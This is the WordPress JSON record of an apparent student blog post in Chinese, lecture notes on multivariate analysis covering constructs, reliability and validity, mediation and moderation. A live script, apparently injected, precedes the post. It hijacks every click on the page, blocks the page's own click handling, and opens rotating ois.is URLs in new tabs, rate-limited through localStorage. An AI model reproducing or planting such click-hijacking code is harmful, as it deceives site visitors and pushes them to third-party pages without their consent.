<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1288,"date":"2023-10-31T01:19:59","date_gmt":"2023-10-30T17:19:59","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=1288"},"modified":"2023-10-31T01:25:21","modified_gmt":"2023-10-30T17:25:21","slug":"%e5%8d%81%e6%9c%88%e5%af%a6%e9%ab%94%e6%95%99%e5%ae%a4-%e5%a4%9a%e8%ae%8a%e9%87%8f%e5%88%86%e6%9e%90","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=1288","title":{"rendered":"WEEK7 \u591a\u8b8a\u91cf\u5206\u6790(\u5be6\u9ad4\u6559\u5ba4)"},"content":{"rendered":"<p><span style=\"color: #003366;\"><strong>\u300c\u76f8\u7531\u5fc3\u751f\u300d<\/strong><\/span><\/p>\n<ul>\n<li>\u76f8\u2192\u5916\u986f\u8b8a\u9805(observed variable)\u3001\u984c\u9805\uff1a\u53ef\u4ee5\u76f4\u63a5\u6e2c\u91cf\u89c0\u5bdf\u7684<\/li>\n<li>\u5fc3\u2192\u69cb\u5ff5(construct)\uff1a\u7121\u6cd5\u76f4\u63a5\u89c0\u5bdf\u4f46\u53ef\u4ee5\u9593\u63a5\u6e2c\u91cf\u7684\u6771\u897f\u3001\u6f5b\u5728\u8b8a\u9805\u3001\u56e0\u7d20\u5206\u6790<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #003366;\"><strong>\u300c\u554f\u5377\u4fe1\u6548\u5ea6\u300d<\/strong><\/span><\/p>\n<ul>\n<li>\u6548\u5ea6\u2192\u6709\u6548\u2192\u6e96(accuracy)<\/li>\n<li>\u4fe1\u5ea6\u2192\u53ef\u9760\u2192\u5bc6(precision)<\/li>\n<\/ul>\n<p>\u21d2<em>\u53bb\u856a\u5b58\u83c1<\/em><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #003366;\"><strong>\u300c\u4e2d\u4ecb\u6548\u679c\u300d<\/strong><\/span><\/p>\n<ol>\n<li>\u81f3\u5c11\u727d\u626f\u5230\u4e09\u500b\u8b8a\u9805\uff1aY(\u4f9d\u8b8a\u9805)\u3001X(\u89e3\u91cb\u8b8a\u9805)\u3001M(\u4e2d\u4ecb\u8b8a\u9805)\u3002<\/li>\n<li><span style=\"color: #e2c186;\">X\u5c0dY\u7684\u5f71\u97ff\u662f\u900f\u904eM\u4f86\u7684<\/span>\uff0c<span style=\"color: #7eb0bf;\">\u7576M\u5728\u6a21\u578b\u5167\u4ee5\u5f8c\uff0cX(\u9644\u52a0\u50f9\u503c)\u5c0dY\u6c92\u6709\u908a\u969b\u5f71\u97ff\u529b<\/span>\uff0c\u5247X\u5c0dY\u7684\u5f71\u97ff\u88ab\u4e2d\u4ecb\u4e86\u3002(<span style=\"color: #c07a91;\">a\u8981\u6210\u7acb\u4e14\u986f\u8457<\/span>)<\/li>\n<\/ol>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1294\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/\u4e2d\u4ecb\u6548\u679c-1-300x124.jpg\" alt=\"\" width=\"300\" height=\"124\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/\u4e2d\u4ecb\u6548\u679c-1-300x124.jpg 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/\u4e2d\u4ecb\u6548\u679c-1-800x330.jpg 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/\u4e2d\u4ecb\u6548\u679c-1-768x317.jpg 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/\u4e2d\u4ecb\u6548\u679c-1-1536x634.jpg 1536w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/\u4e2d\u4ecb\u6548\u679c-1.jpg 1992w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u900f\u904e\u4e09\u689d\u8ff4\u6b78\u65b9\u7a0b\u5f0f\u548c\u56db\u500b\u53c3\u6578\u4f86\u5224\u65b7\u5b8c\u5168\u4e2d\u4ecb\u6216\u90e8\u5206\u4e2d\u4ecb\u3002<\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #003366;\"><strong>\u300c\u8abf\u7bc0\u6548\u679c\u300d<\/strong><\/span><\/p>\n<ol>\n<li>\u8996\u72c0\u6cc1\u800c\u5b9a\u7684\u6548\u679c<\/li>\n<li>\u81f3\u5c11\u4e09\u500b\u8b8a\u9805\uff1aY(\u4f9d\u8b8a\u9805)\u3001X(\u89e3\u91cb\u8b8a\u9805)\u3001M(\u4e2d\u4ecb\u8b8a\u9805)\u3001\u53ef\u4ee5\u52a0\u63a7\u5236\u8b8a\u9805\u3002<\/li>\n<li>X\u5c0dY\u7684\u908a\u969b\u5f71\u97ff\uff0c\u8996M\u7684\u6709\u7121(M\u70ba\u4e8c\u5206\u8b8a\u9805)\u3001\u5927\u5c0f(\u9023\u7e8c\u91cf\u5c3a)\u800c\u6539\u8b8a\uff0c\u7576M\u6108\u5927\u53ef\u4ee5\u5f37\u5316(X\u5c0dY\u659c\u7387\u6108\u9661)\/\u5f31\u5316(X\u5c0dY\u659c\u7387\u6108\u5e73)X\u5c0dY\u7684\u908a\u969b\u5f71\u97ff\u3002<\/li>\n<\/ol>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1291\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/\u8abf\u7bc0\u6548\u679c-300x192.jpg\" alt=\"\" width=\"300\" height=\"192\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/\u8abf\u7bc0\u6548\u679c-300x192.jpg 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/\u8abf\u7bc0\u6548\u679c-800x513.jpg 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/\u8abf\u7bc0\u6548\u679c-768x493.jpg 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/\u8abf\u7bc0\u6548\u679c.jpg 1051w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u300c\u76f8\u7531\u5fc3\u751f\u300d \u76f8\u2192\u5916\u986f\u8b8a\u9805(observed variable)\u3001\u984c\u9805\uff1a\u53ef\u4ee5\u76f4\u63a5<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1288"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1288"}],"version-history":[{"count":8,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1288\/revisions"}],"predecessor-version":[{"id":1299,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1288\/revisions\/1299"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1288"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1288"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1288"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}